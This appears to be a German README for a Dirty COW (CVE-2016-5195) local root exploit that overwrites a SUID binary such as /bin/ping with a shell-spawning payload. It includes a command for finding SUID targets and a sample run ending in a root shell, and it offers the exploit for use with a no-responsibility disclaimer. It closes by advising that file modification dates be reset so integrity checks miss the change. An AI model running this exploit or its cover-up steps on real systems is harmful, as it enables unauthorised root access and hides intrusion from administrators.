
Beispiel-Exploit für CVE-2016-5195
Ich bin nicht verantwortlich für irgendetwas, das du mit diesem Code tust. Dieser Code wird ohne Gewährleistung bereitgestellt.
Exploit für CVE-2016-5195, das eine schreibgeschützte SUID-ausführbare Datei in den Speicher (schreibgeschützt) abbildet und die Race-Condition nutzt, um sie mit einem ELF unserer Wahl zu überschreiben. Payloads sind im NASM-Format zusammen mit dem Exploit-Code verfügbar (cowshell-x86.asm && cowshell-x86_64.asm), falls du sehen möchtest, was sich in cashm0ney befindet.
Payload erhöht die Rechte mit setuid(0), setzt 0 in vm.dirty_writeback_centisecs, um den Absturz aufgrund des Dateisystem-Rückschreibens zu verhindern, und öffnet eine Shell (/bin/sh). Diese Version versucht nicht, in /proc/self/mem zu schreiben, sollte daher auf CentOS/RHEL-Boxen funktionieren. Sie verlässt sich weiterhin auf ptrace, kann also fehlschlagen, wenn ptrace auf dem Zielsystem eingeschränkt ist.
Finde eine root-gehörige SUID-ausführbare Datei, auf die dein aktueller Benutzer mindestens Lesezugriff hat:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] Opened /bin/ping [*] Backing up /bin/ping to /tmp/ping [*] File mapped at 0x0x7f0cbe7ce000 [*] Waiting for child to alert [*] Starting madvise thread. [*] Alerted by child. [*] Preparing to write 262 bytes [*] Trying to perform writes. [*] Wrote byte to 0 [*] Wrote byte to 1 [*] Wrote byte to 2 [*] Wrote byte to 3 [*] Wrote byte to 4 [*] Wrote byte to 5 [*] Wrote byte to 6 [*] Wrote byte to 7 [*] Wrote byte to 8 SNIP [*] Wrote byte to 259 [*] Wrote byte to 260 [*] Wrote byte to 261 [+] w00t, writes finished [+] Popping shell. Remember to restore /bin/ping from /tmp/ping with correct perms! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
Du solltest die Binärdatei, die überschrieben wurde, aus dem erstellten Backup an ihren ursprünglichen Pfad wiederherstellen und daran denken, sie mit chown && chmod wieder in den richtigen Besitz und die richtigen Berechtigungen zu setzen. Setze die Änderungsdaten für die Dreifachkontrolle zurück.